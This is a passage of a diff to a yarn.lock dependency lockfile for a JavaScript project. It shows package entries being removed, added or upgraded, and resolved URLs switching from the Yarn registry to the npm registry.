-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.13.2.tgz#2ce200efa1ef4a56ee2af7b453edc74a259d7d31"
-  integrity sha512-GYbLs5ErswU/Xs7aGXqzc3RrdEjKdmoCrgzhJWyFL0r5fL3qd1NPcDKDowDnmcoSiGJeU68/Vy+OMUluRxPiLQ==
-
-"@rollup/rollup-linux-arm64-gnu@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.13.2.tgz#5a24aac882bff9abfda3f45f6f1db2166c342a4a"
-  integrity sha512-L1+D8/wqGnKQIlh4Zre9i4R4b4noxzH5DDciyahX4oOz62CphY7WDWqJoQ66zNR4oScLNOqQJfNSIAe/6TPUmQ==
-
-"@rollup/rollup-linux-arm64-musl@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.13.2.tgz#f1fb4c6f961d3f3397231a99e621d199200e4ea9"
-  integrity sha512-tK5eoKFkXdz6vjfkSTCupUzCo40xueTOiOO6PeEIadlNBkadH1wNOH8ILCPIl8by/Gmb5AGAeQOFeLev7iZDOA==
-
-"@rollup/rollup-linux-powerpc64le-gnu@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.13.2.tgz#46b2463d94ac3af3e0f7a2947b695397bc13b755"
-  integrity sha512-zvXvAUGGEYi6tYhcDmb9wlOckVbuD+7z3mzInCSTACJ4DQrdSLPNUeDIcAQW39M3q6PDquqLWu7pnO39uSMRzQ==
-
-"@rollup/rollup-linux-riscv64-gnu@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.13.2.tgz#47b932ee59a5395a3a341b0493e361d9e6032cf2"
-  integrity sha512-C3GSKvMtdudHCN5HdmAMSRYR2kkhgdOfye4w0xzyii7lebVr4riCgmM6lRiSCnJn2w1Xz7ZZzHKuLrjx5620kw==
-
-"@rollup/rollup-linux-s390x-gnu@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.13.2.tgz#8e14a1b3c3b9a4440c70a9c1ba12d32aa21f9712"
-  integrity sha512-l4U0KDFwzD36j7HdfJ5/TveEQ1fUTjFFQP5qIt9gBqBgu1G8/kCaq5Ok05kd5TG9F8Lltf3MoYsUMw3rNlJ0Yg==
-
-"@rollup/rollup-linux-x64-gnu@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.13.2.tgz#270e939194b66df77bcb33dd9a5ddf7784bd7997"
-  integrity sha512-xXMLUAMzrtsvh3cZ448vbXqlUa7ZL8z0MwHp63K2IIID2+DeP5iWIT6g1SN7hg1VxPzqx0xZdiDM9l4n9LRU1A==
-
-"@rollup/rollup-linux-x64-musl@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.13.2.tgz#e8dd0f3c2046acbda2934490b36552e856a3bc6a"
-  integrity sha512-M/JYAWickafUijWPai4ehrjzVPKRCyDb1SLuO+ZyPfoXgeCEAlgPkNXewFZx0zcnoIe3ay4UjXIMdXQXOZXWqA==
-
-"@rollup/rollup-win32-arm64-msvc@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.13.2.tgz#f8b65a4a7e7a6b383e7b14439129b2f474ff123c"
-  integrity sha512-2YWwoVg9KRkIKaXSh0mz3NmfurpmYoBBTAXA9qt7VXk0Xy12PoOP40EFuau+ajgALbbhi4uTj3tSG3tVseCjuA==
-
-"@rollup/rollup-win32-ia32-msvc@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.13.2.tgz#bc1c5a4fbc4337d6cb15da80a4de95fd53ab3573"
-  integrity sha512-2FSsE9aQ6OWD20E498NYKEQLneShWes0NGMPQwxWOdws35qQXH+FplabOSP5zEe1pVjurSDOGEVCE2agFwSEsw==
-
-"@rollup/rollup-win32-x64-msvc@4.13.2":
-  version "4.13.2"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.13.2.tgz#851959c4c1c3c6647aba1f388198c8243aed6917"
-  integrity sha512-7h7J2nokcdPePdKykd8wtc8QqqkqxIrUz7MHj6aNr8waBRU//NLDVnNjQnqQO6fqtjrtCdftpbTuOKAyrAQETQ==
-
-"@rushstack/eslint-patch@^1.3.3":
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/@rushstack/eslint-patch/-/eslint-patch-1.5.1.tgz#5f1b518ec5fa54437c0b7c4a821546c64fed6922"
-  integrity sha512-6i/8UoL0P5y4leBIGzvkZdS85RDMG9y1ihZzmTZQ5LdHUYmZ7pKFoj8X0236s3lusPs1Fa5HTQUpwI+UfTcmeA==
+    domhandler "^5.0.3"
+    selderee "^0.11.0"
 
 "@sideway/address@^4.1.5":
   version "4.1.5"
-  resolved "https://registry.yarnpkg.com/@sideway/address/-/address-4.1.5.tgz#4bc149a0076623ced99ca8208ba780d65a99b9d5"
+  resolved "https://registry.npmjs.org/@sideway/address/-/address-4.1.5.tgz"
   integrity sha512-IqO/DUQHUkPeixNQ8n0JA6102hT9CmaljNTPmQ1u8MEhBo/R4Q8eKLN/vGZxuebwOroDB4cbpjheD4+/sKFK4Q==
   dependencies:
     "@hapi/hoek" "^9.0.0"
 
 "@sideway/formula@^3.0.1":
   version "3.0.1"
-  resolved "https://registry.yarnpkg.com/@sideway/formula/-/formula-3.0.1.tgz#80fcbcbaf7ce031e0ef2dd29b1bfc7c3f583611f"
+  resolved "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.1.tgz"
   integrity sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==
 
 "@sideway/pinpoint@^2.0.0":
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/@sideway/pinpoint/-/pinpoint-2.0.0.tgz#cff8ffadc372ad29fd3f78277aeb29e632cc70df"
+  resolved "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz"
   integrity sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==
 
 "@sinclair/typebox@^0.24.1":
   version "0.24.42"
-  resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.24.42.tgz#a74b608d494a1f4cc079738e050142a678813f52"
+  resolved "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.42.tgz"
   integrity sha512-d+2AtrHGyWek2u2ITF0lHRIv6Tt7X0dEHW+0rP+5aDCEjC3fiN2RBjrLD0yU0at52BcZbRGxLbAtXiR0hFCjYw==
 
 "@sinclair/typebox@^0.25.16":
   version "0.25.24"
-  resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.25.24.tgz#8c7688559979f7079aacaf31aa881c3aa410b718"
+  resolved "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.25.24.tgz"
   integrity sha512-XJfwUVUKDHF5ugKwIcxEgc9k8b7HbznCp6eUfWgu710hMPNIO4aw4/zB5RogDQz8nd6gyCDpU9O/m6qYEWY6yQ==
 
+"@sinclair/typebox@^0.27.8":
+  version "0.27.8"
+  resolved "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz"
+  integrity sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==
+
+"@sinclair/typebox@^0.34.0":
+  version "0.34.38"
+  resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.34.38.tgz#2365df7c23406a4d79413a766567bfbca708b49d"
+  integrity sha512-HpkxMmc2XmZKhvaKIZZThlHmx1L0I/V1hWK1NubtlFnr6ZqdiOpV72TKudZUNQjZNsyDBay72qFEhEvb+bcwcA==
+
 "@sinonjs/commons@^1.7.0":
   version "1.8.3"
-  resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-1.8.3.tgz#3802ddd21a50a949b6721ddd72da36e67e7f1b2d"
+  resolved "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz"
   integrity sha512-xkNcLAn/wZaX14RPlwizcKicDk9G3F8m2nU3L7Ukm5zBgTwiT0wsoFAHx9Jq56fJA1z/7uKGtCRu16sOUCLIHQ==
   dependencies:
     type-detect "4.0.8"
 
 "@sinonjs/commons@^3.0.0":
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-3.0.0.tgz#beb434fe875d965265e04722ccfc21df7f755d72"
+  resolved "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.0.tgz"
   integrity sha512-jXBtWAF4vmdNmZgD5FoKsVLv3rPgDnLgPbU84LIJ3otV44vJlDRokVng5v8NFJdCf/da9legHcKaRuZs4L7faA==
   dependencies:
     type-detect "4.0.8"
 
 "@sinonjs/fake-timers@^10.0.2":
   version "10.2.0"
-  resolved "https://registry.yarnpkg.com/@sinonjs/fake-timers/-/fake-timers-10.2.0.tgz#b3e322a34c5f26e3184e7f6115695f299c1b1194"
+  resolved "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.2.0.tgz"
   integrity sha512-OPwQlEdg40HAj5KNF8WW6q2KG4Z+cBCZb3m4ninfTZKaBmbIJodviQsDBoYMPHkOyJJMHnOJo5j2+LKDOhOACg==
   dependencies:
     "@sinonjs/commons" "^3.0.0"
 
 "@sinonjs/fake-timers@^9.1.2":
   version "9.1.2"
-  resolved "https://registry.yarnpkg.com/@sinonjs/fake-timers/-/fake-timers-9.1.2.tgz#4eaab737fab77332ab132d396a3c0d364bd0ea8c"
+  resolved "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-9.1.2.tgz"
   integrity sha512-BPS4ynJW/o92PUR4wgriz2Ud5gpST5vz6GQfMixEDK0Z8ZCUv2M7SkBLykH56T++Xs+8ln9zTGbOvNGIe02/jw==
   dependencies:
     "@sinonjs/commons" "^1.7.0"
 
-"@swc/helpers@0.5.2":
-  version "0.5.2"
-  resolved "https://registry.yarnpkg.com/@swc/helpers/-/helpers-0.5.2.tgz#85ea0c76450b61ad7d10a37050289eded783c27d"
-  integrity sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==
-  dependencies:
-    tslib "^2.4.0"
-
 "@testing-library/dom@^8.5.0":
   version "8.18.1"
-  resolved "https://registry.yarnpkg.com/@testing-library/dom/-/dom-8.18.1.tgz#80f91be02bc171fe5a3a7003f88207be31ac2cf3"
+  resolved "https://registry.npmjs.org/@testing-library/dom/-/dom-8.18.1.tgz"
   integrity sha512-oEvsm2B/WtcHKE+IcEeeCqNU/ltFGaVyGbpcm4g/2ytuT49jrlH9x5qRKL/H3A6yfM4YAbSbC0ceT5+9CEXnLg==
   dependencies:
     "@babel/code-frame" "^7.10.4"
@@ -2891,7 +3077,7 @@
 
 "@testing-library/react@^13.4.0":
   version "13.4.0"
-  resolved "https://registry.yarnpkg.com/@testing-library/react/-/react-13.4.0.tgz#6a31e3bf5951615593ad984e96b9e5e2d9380966"
+  resolved "https://registry.npmjs.org/@testing-library/react/-/react-13.4.0.tgz"
   integrity sha512-sXOGON+WNTh3MLE9rve97ftaZukN3oNf2KjDy7YTx6hcTO2uuLHuCGynMDhFwGw/jYf4OJ2Qk0i4i79qMNNkyw==
   dependencies:
     "@babel/runtime" "^7.12.5"
@@ -2900,52 +3086,57 @@
 
 "@tootallnate/once@2":
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-2.0.0.tgz#f544a148d3ab35801c1f633a7441fd87c2e484bf"
+  resolved "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz"
   integrity sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==
 
+"@tootallnate/quickjs-emscripten@^0.23.0":
+  version "0.23.0"
+  resolved "https://registry.npmjs.org/@tootallnate/quickjs-emscripten/-/quickjs-emscripten-0.23.0.tgz"
+  integrity sha512-C5Mc6rdnsaJDjO3UpGW/CQTHtCKaYlScZTly4JIu97Jxo/odCiH0ITnDXSJPTOrEKk/ycSZ0AOgTmkDtkOsvIA==
+
 "@tsconfig/node10@^1.0.7":
   version "1.0.9"
-  resolved "https://registry.yarnpkg.com/@tsconfig/node10/-/node10-1.0.9.tgz#df4907fc07a886922637b15e02d4cebc4c0021b2"
+  resolved "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.9.tgz"
   integrity sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==
 
 "@tsconfig/node12@^1.0.7":
   version "1.0.11"
-  resolved "https://registry.yarnpkg.com/@tsconfig/node12/-/node12-1.0.11.tgz#ee3def1f27d9ed66dac6e46a295cffb0152e058d"
+  resolved "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz"
   integrity sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==
 
 "@tsconfig/node14@^1.0.0":
   version "1.0.3"
-  resolved "https://registry.yarnpkg.com/@tsconfig/node14/-/node14-1.0.3.tgz#e4386316284f00b98435bf40f72f75a09dabf6c1"
+  resolved "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz"
   integrity sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==
 
 "@tsconfig/node16@^1.0.2":
   version "1.0.3"
-  resolved "https://registry.yarnpkg.com/@tsconfig/node16/-/node16-1.0.3.tgz#472eaab5f15c1ffdd7f8628bd4c4f753995ec79e"
+  resolved "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.3.tgz"
   integrity sha512-yOlFc+7UtL/89t2ZhjPvvB/DeAr3r+Dq58IgzsFkOAvVC6NMJXmCGjbptdXdR9qsX7pKcTL+s87FtYREi2dEEQ==
 
 "@tsconfig/node18-strictest@^1.0.0":
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/@tsconfig/node18-strictest/-/node18-strictest-1.0.0.tgz#d7c49f29ef95c47182995bd2bfcf8c177512a8de"
+  resolved "https://registry.npmjs.org/@tsconfig/node18-strictest/-/node18-strictest-1.0.0.tgz"
   integrity sha512-bOuNKwO4Fzbt+Su5wqI9zNHwx5C25gLnutwVQA1sBZk0cW8UjVPVcwzIUhJIIJDUx7zDEbAwdCD2HfvIsV8dYg==
 
 "@tsconfig/strictest@^2.0.5":
   version "2.0.5"
-  resolved "https://registry.yarnpkg.com/@tsconfig/strictest/-/strictest-2.0.5.tgz#2cbc67f207ba87fdec2a84ad79b1708cf4edd93b"
+  resolved "https://registry.npmjs.org/@tsconfig/strictest/-/strictest-2.0.5.tgz"
   integrity sha512-ec4tjL2Rr0pkZ5hww65c+EEPYwxOi4Ryv+0MtjeaSQRJyq322Q27eOQiFbuNgw2hpL4hB1/W/HBGk3VKS43osg==
 
 "@types/aria-query@^4.2.0":
   version "4.2.2"
-  resolved "https://registry.yarnpkg.com/@types/aria-query/-/aria-query-4.2.2.tgz#ed4e0ad92306a704f9fb132a0cfcf77486dbe2bc"
+  resolved "https://registry.npmjs.org/@types/aria-query/-/aria-query-4.2.2.tgz"
   integrity sha512-HnYpAE1Y6kRyKM/XkEuiRQhTHvkzMBurTHnpFLYLBGPIylZNPs9jJcuOOYWxPLJCSEtmZT0Y8rHDokKN7rRTig==
 
 "@types/babel__code-frame@^7.0.6":
   version "7.0.6"
-  resolved "https://registry.yarnpkg.com/@types/babel__code-frame/-/babel__code-frame-7.0.6.tgz#20a899c0d29fba1ddf5c2156a10a2bda75ee6f29"
+  resolved "https://registry.npmjs.org/@types/babel__code-frame/-/babel__code-frame-7.0.6.tgz"
   integrity sha512-Anitqkl3+KrzcW2k77lRlg/GfLZLWXBuNgbEcIOU6M92yw42vsd3xV/Z/yAHEj8m+KUjL6bWOVOFqX8PFPJ4LA==
 
 "@types/babel__core@^7.1.14":
   version "7.1.19"
-  resolved "https://registry.yarnpkg.com/@types/babel__core/-/babel__core-7.1.19.tgz#7b497495b7d1b4812bdb9d02804d0576f43ee460"
+  resolved "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.19.tgz"
   integrity sha512-WEOTgRsbYkvA/KCsDwVEGkd7WAr1e3g31VHQ8zy5gul/V1qKullU/BU5I68X5v7V3GnB9eotmom4v5a5gjxorw==
   dependencies:
     "@babel/parser" "^7.1.0"
@@ -2956,14 +3147,14 @@
 
 "@types/babel__generator@*":
   version "7.6.4"
-  resolved "https://registry.yarnpkg.com/@types/babel__generator/-/babel__generator-7.6.4.tgz#1f20ce4c5b1990b37900b63f050182d28c2439b7"
+  resolved "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.4.tgz"
   integrity sha512-tFkciB9j2K755yrTALxD44McOrk+gfpIpvC3sxHjRawj6PfnQxrse4Clq5y/Rq+G3mrBurMax/lG8Qn2t9mSsg==
   dependencies:
     "@babel/types" "^7.0.0"
 
 "@types/babel__template@*":
   version "7.4.1"
-  resolved "https://registry.yarnpkg.com/@types/babel__template/-/babel__template-7.4.1.tgz#3d1a48fd9d6c0edfd56f2ff578daed48f36c8969"
+  resolved "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.1.tgz"
   integrity sha512-azBFKemX6kMg5Io+/rdGT0dkGreboUVR0Cdm3fz9QJWpaQGJRQXl7C+6hOTCZcMll7KFyEQpgbYI2lHdsS4U7g==
   dependencies:
     "@babel/parser" "^7.1.0"
@@ -2971,39 +3162,39 @@
 
 "@types/babel__traverse@*", "@types/babel__traverse@^7.0.6":
   version "7.18.2"
-  resolved "https://registry.yarnpkg.com/@types/babel__traverse/-/babel__traverse-7.18.2.tgz#235bf339d17185bdec25e024ca19cce257cc7309"
+  resolved "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.18.2.tgz"
   integrity sha512-FcFaxOr2V5KZCviw1TnutEMVUVsGt4D2hP1TAfXZAMKuHYW3xQhe3jTxNPWutgCJ3/X1c5yX8ZoGVEItxKbwBg==
   dependencies:
     "@babel/types" "^7.3.0"
 
-"@types/eslint@^8.56.6":
-  version "8.56.6"
-  resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-8.56.6.tgz#d5dc16cac025d313ee101108ba5714ea10eb3ed0"
-  integrity sha512-ymwc+qb1XkjT/gfoQwxIeHZ6ixH23A+tCT2ADSA/DPVKzAjwYkTXBMCQ/f6fe4wEa85Lhp26VPeUxI7wMhAi7A==
+"@types/eslint@^8.56.12":
+  version "8.56.12"
+  resolved "https://registry.npmjs.org/@types/eslint/-/eslint-8.56.12.tgz"
+  integrity sha512-03ruubjWyOHlmljCVoxSuNDdmfZDzsrrz0P2LeJsOXr+ZwFQ+0yQIwNCwt/GYhV7Z31fgtXJTAEs+FYlEL851g==
   dependencies:
     "@types/estree" "*"
     "@types/json-schema" "*"
 
-"@types/estree@*", "@types/estree@^1.0.0":
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.1.tgz#aa22750962f3bf0e79d753d3cc067f010c95f194"
-  integrity sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==
-
-"@types/estree@1.0.5":
+"@types/estree@*":
   version "1.0.5"
-  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.5.tgz#a6ce3e556e00fd9895dd872dd172ad0d4bd687f4"
+  resolved "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz"
   integrity sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==
 
+"@types/estree@1.0.6", "@types/estree@^1.0.6":
+  version "1.0.6"
+  resolved "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz"
+  integrity sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==
+
 "@types/fbt@^1.0.4":
   version "1.0.4"
-  resolved "https://registry.yarnpkg.com/@types/fbt/-/fbt-1.0.4.tgz#0d9e427f91fcff46bdcf2ca42a63343096565451"
+  resolved "https://registry.npmjs.org/@types/fbt/-/fbt-1.0.4.tgz"
   integrity sha512-KBaaLu4hEIBaCyQ3L2KP6JujD+tmMuPZ10YpgmGgqMaM8TESYR2TOJNvG+GYiWUhGkp38Y+62VZ1wJ97MPvt+A==
   dependencies:
     "@types/react" "*"
 
 "@types/glob@^8.1.0":
   version "8.1.0"
-  resolved "https://registry.yarnpkg.com/@types/glob/-/glob-8.1.0.tgz#b63e70155391b0584dce44e7ea25190bbc38f2fc"
+  resolved "https://registry.npmjs.org/@types/glob/-/glob-8.1.0.tgz"
   integrity sha512-IO+MJPVhoqz+28h1qLAcBEH2+xHMK6MTyHJc7MTnnYb6wsoLR29POVGJ7LycmVXIqyy/4/2ShP5sUwTXuOwb/w==
   dependencies:
     "@types/minimatch" "^5.1.2"
@@ -3011,31 +3202,41 @@
 
 "@types/graceful-fs@^4.1.3":
   version "4.1.5"
-  resolved "https://registry.yarnpkg.com/@types/graceful-fs/-/graceful-fs-4.1.5.tgz#21ffba0d98da4350db64891f92a9e5db3cdb4e15"
+  resolved "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.5.tgz"
   integrity sha512-anKkLmZZ+xm4p8JWBf4hElkM4XR+EZeA2M9BAkkTldmcyDY4mbdIJnRghDJH3Ov5ooY7/UAoENtmdMSkaAd7Cw==
   dependencies:
     "@types/node" "*"
 
+"@types/html-to-text@^9.0.4":
+  version "9.0.4"
+  resolved "https://registry.npmjs.org/@types/html-to-text/-/html-to-text-9.0.4.tgz"
+  integrity sha512-pUY3cKH/Nm2yYrEmDlPR1mR7yszjGx4DrwPjQ702C4/D5CwHuZTgZdIdwPkRbcuhs7BAh2L5rg3CL5cbRiGTCQ==
+
 "@types/invariant@^2.2.35":
   version "2.2.35"
-  resolved "https://registry.yarnpkg.com/@types/invariant/-/invariant-2.2.35.tgz#cd3ebf581a6557452735688d8daba6cf0bd5a3be"
+  resolved "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.35.tgz"
   integrity sha512-DxX1V9P8zdJPYQat1gHyY0xj3efl8gnMVjiM9iCY6y27lj+PoQWkgjt8jDqmovPqULkKVpKRg8J36iQiA+EtEg==
 
 "@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0", "@types/istanbul-lib-coverage@^2.0.1":
   version "2.0.4"
-  resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz#8467d4b3c087805d63580480890791277ce35c44"
+  resolved "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz"
   integrity sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==
 
+"@types/istanbul-lib-coverage@^2.0.6":
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz#7739c232a1fee9b4d3ce8985f314c0c6d33549d7"
+  integrity sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==
+
 "@types/istanbul-lib-report@*":
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz#c14c24f18ea8190c118ee7562b7ff99a36552686"
+  resolved "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz"
   integrity sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==
   dependencies:
     "@types/istanbul-lib-coverage" "*"
 
 "@types/istanbul-reports@^1.1.1":
   version "1.1.2"
-  resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-1.1.2.tgz#e875cc689e47bce549ec81f3df5e6f6f11cfaeb2"
+  resolved "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-1.1.2.tgz"
   integrity sha512-P/W9yOX/3oPZSpaYOCQzGqgCQRXn0FFO/V8bWrCQs+wLmvVVxk6CRBXALEvNs9OHIatlnlFokfhuDo2ug01ciw==
   dependencies:
     "@types/istanbul-lib-coverage" "*"
@@ -3043,14 +3244,21 @@
 
 "@types/istanbul-reports@^3.0.0":
   version "3.0.1"
-  resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz#9153fe98bba2bd565a63add9436d6f0d7f8468ff"
+  resolved "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz"
   integrity sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==
   dependencies:
     "@types/istanbul-lib-report" "*"
 
+"@types/istanbul-reports@^3.0.4":
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz#0f03e3d2f670fbdac586e34b433783070cc16f54"
+  integrity sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==
+  dependencies:
+    "@types/istanbul-lib-report" "*"
+
 "@types/jest@^28.1.6":
   version "28.1.8"
-  resolved "https://registry.yarnpkg.com/@types/jest/-/jest-28.1.8.tgz#6936409f3c9724ea431efd412ea0238a0f03b09b"
+  resolved "https://registry.npmjs.org/@types/jest/-/jest-28.1.8.tgz"
   integrity sha512-8TJkV++s7B6XqnDrzR1m/TT0A0h948Pnl/097veySPN67VRAgQ4gZ7n2KfJo2rVq6njQjdxU3GCCyDvAeuHoiw==
   dependencies:
     expect "^28.0.0"
@@ -3058,152 +3266,181 @@
 
 "@types/jest@^29.0.3":
   version "29.0.3"
-  resolved "https://registry.yarnpkg.com/@types/jest/-/jest-29.0.3.tgz#b61a5ed100850686b8d3c5e28e3a1926b2001b59"
+  resolved "https://registry.npmjs.org/@types/jest/-/jest-29.0.3.tgz"
   integrity sha512-F6ukyCTwbfsEX5F2YmVYmM5TcTHy1q9P5rWlRbrk56KyMh3v9xRGUO3aa8+SkvMi0SHXtASJv1283enXimC0Og==
   dependencies:
     expect "^29.0.0"
     pretty-format "^29.0.0"
 
+"@types/jest@^29.5.14":
+  version "29.5.14"
+  resolved "https://registry.yarnpkg.com/@types/jest/-/jest-29.5.14.tgz#2b910912fa1d6856cadcd0c1f95af7df1d6049e5"
+  integrity sha512-ZN+4sdnLUbo8EVvVc2ao0GFW6oVrQRPn4K2lglySj7APvSrgzxHiNNK99us4WDMi57xxA2yggblIAMNhXOotLQ==
+  dependencies:
+    expect "^29.0.0"
+    pretty-format "^29.0.0"
+
+"@types/jest@^30.0.0":
+  version "30.0.0"
+  resolved "https://registry.yarnpkg.com/@types/jest/-/jest-30.0.0.tgz#5e85ae568006712e4ad66f25433e9bdac8801f1d"
+  integrity sha512-XTYugzhuwqWjws0CVz8QpM36+T+Dz5mTEBKhNs/esGLnCIlGdRy+Dq78NRjd7ls7r8BC8ZRMOrKlkO1hU0JOwA==
+  dependencies:
+    expect "^30.0.0"
+    pretty-format "^30.0.0"
+
 "@types/jsdom@^20.0.0":
   version "20.0.0"
-  resolved "https://registry.yarnpkg.com/@types/jsdom/-/jsdom-20.0.0.tgz#4414fb629465167f8b7b3804b9e067bdd99f1791"
+  resolved "https://registry.npmjs.org/@types/jsdom/-/jsdom-20.0.0.tgz"
   integrity sha512-YfAchFs0yM1QPDrLm2VHe+WHGtqms3NXnXAMolrgrVP6fgBHHXy1ozAbo/dFtPNtZC/m66bPiCTWYmqp1F14gA==
   dependencies:
     "@types/node" "*"
     "@types/tough-cookie" "*"
     parse5 "^7.0.0"
 
-"@types/json-schema@*", "@types/json-schema@^7.0.12":
+"@types/json-schema@*", "@types/json-schema@^7.0.12", "@types/json-schema@^7.0.15":
   version "7.0.15"
